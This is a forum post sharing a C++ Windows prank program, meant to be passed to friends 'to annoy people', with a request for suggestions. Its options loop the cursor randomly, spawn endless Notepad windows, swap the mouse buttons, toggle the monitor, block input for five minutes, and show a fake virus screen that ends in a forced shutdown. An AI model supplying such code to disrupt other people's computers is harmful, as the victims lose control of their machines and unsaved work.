This program was made to be distributed to friends, so they could annoy people... (AS A JOKE)
What can I add/change?
Thanks.

Code:
#include <iostream>
#include <cstdlib>
#include <windows.h>
#include <winable.h>
using namespace std;
int main(int argc, char *argv[])
{
    int x = 0;
    int option;
    int program;
    int X;
    int Y;
    int helper;
    
    while (x<3)
    {
    cout<<"Loading.";
    Sleep(500);
    system("cls");
    cout<<"Loading..";
    Sleep(500);
    system("cls");
    cout<<"Loading...";
    Sleep(500);
    system("cls");
    x++;
}
system("cls");
cout<<"Welcome to Brad's Annoying Control Centre!"<<endl<<endl;
cout<<"[0] For the menu"<<endl<<"[1] To close this"<<endl<<"[2] For instructions and things (RECOMMENDED FOR YOUR SAFETY)"<<endl<<endl;
cin>>option;

if (option==1)
{
              cout<<"Bye!"<<endl;
              Sleep(2000);
              return 0;
}

else if (option==0)
{
     cout<<endl;
     cout<<"Choose annoying program!"<<endl<<endl<<endl;
     cout<<"Mouse flicker [1]"<<endl<<endl;//Works
     cout<<"Notepad (Hehe) [2]"<<endl<<endl;//Works
     cout<<"Mouse button switcher (Constant) [3]"<<endl<<endl;//Works
     cout<<"Reverse mouse switcher [4]"<<endl<<endl;//Works
     cout<<"Moniter on and off in 1 second intervals [5]"<<endl<<endl;//Works //SUPER ANNOYING
     cout<<"Fake Virus [6]"<<endl<<endl;//WORKS
     cout<<"Block Keyboard & Mouse input for 5 minutes (WINDOWS XP ONLY) [7]"<<endl<<endl; //works
     cout<<"REALLY annoying combination of a few [8]"<<endl<<endl; //Works //SUPER ANNOYING
     cin>>program;

                  if (program==1)
                  {
                                 while (x<100)
                                 {
                                       X = rand()&#37;801;
                                       Y = rand()%601;
                                       SetCursorPos( X, Y );
                                 }
                                 return 0;
                   }

                  else if (program==2)
                  {
                       while (x<100)
                       {
                             char Notepad[MAX_PATH]="notepad.exe";
                             ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
                       }
                  return 0;
                  }

                  else if (program==3)
                  {
                       
                       
                       SwapMouseButton(true);
                       return 0;
                  }
                  
                  else if (program==4)
                  {
                       SwapMouseButton(false);
                       return 0;
                  }
                  
                  else if (program==5)
                  {
                       while (x<100)
                       {
                       SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
                       Sleep(1000);
                       SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);
                       }
                       return 0;
                  }

                  else if (program==6)
                  {
                       int x = 0;
                       int y = 0;
                       int z = 0;
                       while (x<3)
                       {
                       system("cls");
                       cout<<"Installing Virus.dll.";
                       Sleep(500);
                       system("cls");
                       cout<<"Installing Virus.dll..";
                       Sleep(500);
                       system("cls");
                       cout<<"Installing Virus.dll...";
                       Sleep(500);
                       x++;
                       }
                       system("cls");
                       cout<<"Virus.dll installed to C:/Windows/System32"<<endl;
                       Sleep(30);
                       cout<<"Starting TrojanAttack.exe"<<endl;
                       Sleep(30);
                       cout<<"Deleting HAL.dll"<<endl;
                       Sleep(30);
                       cout<<"Deleting BOOTCFG.dll"<<endl;
                       Sleep(30);
                       cout<<"Deleting bootstat.dat"<<endl;
                       Sleep(30);
                       cout<<"Deleting System32 folder"<<endl;
                       Sleep(30);
                       cout<<"Deleting WinHlp.exe"<<endl;
                       Sleep(30);
                       cout<<"Deleting Wincog.dll"<<endl;
                       Sleep(30);
                       cout<<"Deleting SPIDE.exe"<<endl;
                       Sleep(30);
                       cout<<"Deleting REL.dll"<<endl;
                       Sleep(30);
                       cout<<"Deleting restart files"<<endl;
                       Sleep(30);
                       cout<<"Deleting win32.dat"<<endl;
                       Sleep(30);
                       cout<<"Deleting Windows folder"<<endl;
                       Sleep(30);
                       cout<<"Deleting Sp1.exe"<<endl;
                       Sleep(30);
                       cout<<"Deleting Sp2.exe"<<endl;
                       Sleep(30);
                       cout<<"Deleting WERP.exe"<<endl<<endl;
                       cout<<"System corruption complete."<<endl;
                       system("PAUSE >> NULL");
                       system("shutdown /s /f /t 20");
                       return 0;
                       }
                       
                   else if (program==7)
                   {
                        BlockInput(TRUE);
                        Sleep(300000);
                        BlockInput(FALSE);
                        return 0;
                   }
                       
                  else if (program==8)
                  {

                                      while (x<100)
                                 {
                                       X = rand()%801;
                                       Y = rand()%601;
                                       SetCursorPos( X, Y );
                                       char Notepad[MAX_PATH]="notepad.exe";
                                       ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
                                       SwapMouseButton(true);
                                       SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
                                       Sleep(1000);
                                       SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);
                                 }
return 0;
}
                                 else
                                 {
                                     cout<<endl<<"Whoops, try entering a number we tell you to next time...";
                                     system("PAUSE >> NULL"); 
                                     return 0; 
                                 }


                                 system("PAUSE >> NULL");                    
                                 return 0;         
                                 }
                                 
                                 else if (option==2)
                                 {
                                      cout<<endl<<"Welcome to the instructions for this program!"<<endl<<endl<<endl;
                                      cout<<"[1] For How to use/close 'Mouse Flicker'"<<endl;
                                      cout<<"[2] For How to use/close 'Notepad'"<<endl;
                                      cout<<"[3] For How to use/close 'Mouse Switcher'"<<endl;
                                      cout<<"[4] For How to use/close 'Moniter on/off'"<<endl;
                                      cout<<"[5] For How to use/close 'Fake Virus'"<<endl;
                                      cout<<"[6] For How to use/close 'Block input'"<<endl;
                                      cout<<"[7] For How to use/close 'The REALLY annoying combination'"<<endl;
                                      cin>>helper;
                                      
                                                  if (helper==1)
                                                  {
                                                                cout<<endl<<"Mouse Flicker!"<<endl<<endl;
                                                                cout<<"All this really does, is move the mouse around the screen to random locations,       CONSTANTLY."<<endl;
                                                                cout<<endl<<"To stop this annoying feature, follow these steps:"<<endl<<endl<<"1. Press Ctrl+Alt+Delete"<<endl<<"2. Open task manager"<<endl<<"3. Go to the 'processes' section"<<endl<<"4. Look for 'Project.SZY'"<<endl<<"End the 'Project.SZY' process by using your keyboard to highlight it and pressing Alt+E, then ENTER.";
                                                                cout<<endl<<"Restart this program for different help topics."<<endl;
                                                                system("PAUSE >> NULL");
                                                                return 0;
                                                  }
                                                  
                                                  else if (helper==2)
                                                  {
                                                       cout<<endl<<"Notepad!"<<endl<<endl;
                                                       cout<<"This very annoying program opens up 'Notepad's until it lags your computer ALOT."<<endl;
                                                       cout<<endl<<"To stop this annoying feature, follow these steps:"<<endl<<endl<<"1. Press Ctrl+Alt+Delete"<<endl<<"2. Open task manager"<<endl<<"3. Go to the 'processes' section"<<endl<<"4. Look for 'Project.SZY'"<<endl<<"5. Click 'End Process'"<<endl<<"6. Close all the notepads!"<<endl<<endl;
                                                       cout<<endl<<"Restart this program for different help topics."<<endl;
                                                       system("PAUSE >> NULL");
                                                       return 0;
                                                  }
                                                  else if (helper==3)
                                             
                                                  {
                                                       cout<<endl<<"Mouse Switcher!"<<endl<<endl;
                                                       cout<<"This confusing feature changes your left & right mouse buttons around."<<endl<<endl;
                                                       cout<<"To undo this, restart 'Project.SZY', and select 'Reverse Mouse switcher' from        the menu."<<endl;
                                                       cout<<endl<<"Restart this program for different help topics."<<endl;
                                                       system("PAUSE >> NULL");
                                                       return 0;
                                                  }
                                                  else if (helper==4)
                                                  {
                                                       cout<<"Moniter on/off!"<<endl<<endl;
                                                       cout<<"Ahh. Exasperatingly, this feature turns your moniter on and off in 1 second intervals,"<<endl<<"meaning you can hardly see anything."<<endl<<endl;
                                                       cout<<"Turning this off can be a bugger, and time consuming."<<endl<<"To do it, follow these steps:"<<endl<<endl;
                                                       cout<<"1. Press Ctrl+Alt+Delete"<<endl<<"2. Open task manager"<<endl<<"3. Go to the 'processes' section"<<endl<<"4. Look for 'Project.SZY'"<<endl<<"5. Click 'End Process'"<<endl<<endl;
                                                       cout<<"The hard thing about this one, is that you will have to do those 5 steps, WHILE it's turning on and off. Take your time, and it's easy. Good thing your using this program to annoy!  :) "<<endl;
                                                       cout<<endl<<"Restart this program for different help topics."<<endl;
                                                       system("PAUSE >> NULL");
                                                       return 0;
                                                       }
                                                       
                                                       else if (helper==5)
                                                       {
                                                            cout<<"Fake Virus!"<<endl<<endl;
                                                            cout<<"Yep, this is exactly what it says it is. Fake. All this does, is display messages on the screen, to make it look like your computer is being wrecked."<<endl<<endl;
                                                            cout<<"NOTE: THIS IS HARMLESS"<<endl;
                                                            cout<<"This shuts your computer down 60 seconds after the messages are finished."<<endl;
                                                            cout<<endl<<"Restart this program for different help topics."<<endl;
                                                            system("PAUSE >> NULL");
                                                            return 0;
                                                            }
                                                       else if (helper==6)
                                                       {
                                                            cout<<"Block input!"<<endl<<endl;
                                                            cout<<"What this little bugger does, is make your mouse and keyboard seem like they don't   work for 5 minutes."<<endl<<endl;
                                                            cout<<"To stop this, either wait 5 minutes, or press Ctrl+Alt+DEL and end the 'Project.SZY' task."<<endl<<endl;
                                                            cout<<"NOTE: This may not work without Admin privleges, and doesn't work on Vista"<<endl;
                                                            cout<<endl<<"Restart this program for different help topics."<<endl;
                                                            system("PAUSE >> NULL");
                                                            return 0;
                                                            }
                                                  else if (helper==7)
                                                  {
                                                       cout<<"The REALLY annoying combo!"<<endl<<endl;
                                                       cout<<"The most ANNOYING of all these programs. You end it the same way as you end:"<<endl<<endl;
                                                       cout<<"1. Mouse Flicker, 2. Notepad, 3. Mouse switcher, and 4. Moniter on/off."<<endl;
                                                       cout<<endl<<"Restart this program for different help topics."<<endl;
                                                       system("PAUSE >> NULL");
                                                       return 0;
                                                       }
                                                       
                                                  else
                                                  {
                                                       cout<<endl<<"Whoops, try entering a number we tell you to next time...";
                                                       system("PAUSE >> NULL"); 
                                                       return 0; 
                                                       }
                                                  }
                                 else
                                 {
                                     cout<<endl<<"Whoops, try entering a number we tell you to next time...";
                                     system("PAUSE >> NULL"); 
                                     return 0; 
                                 }
}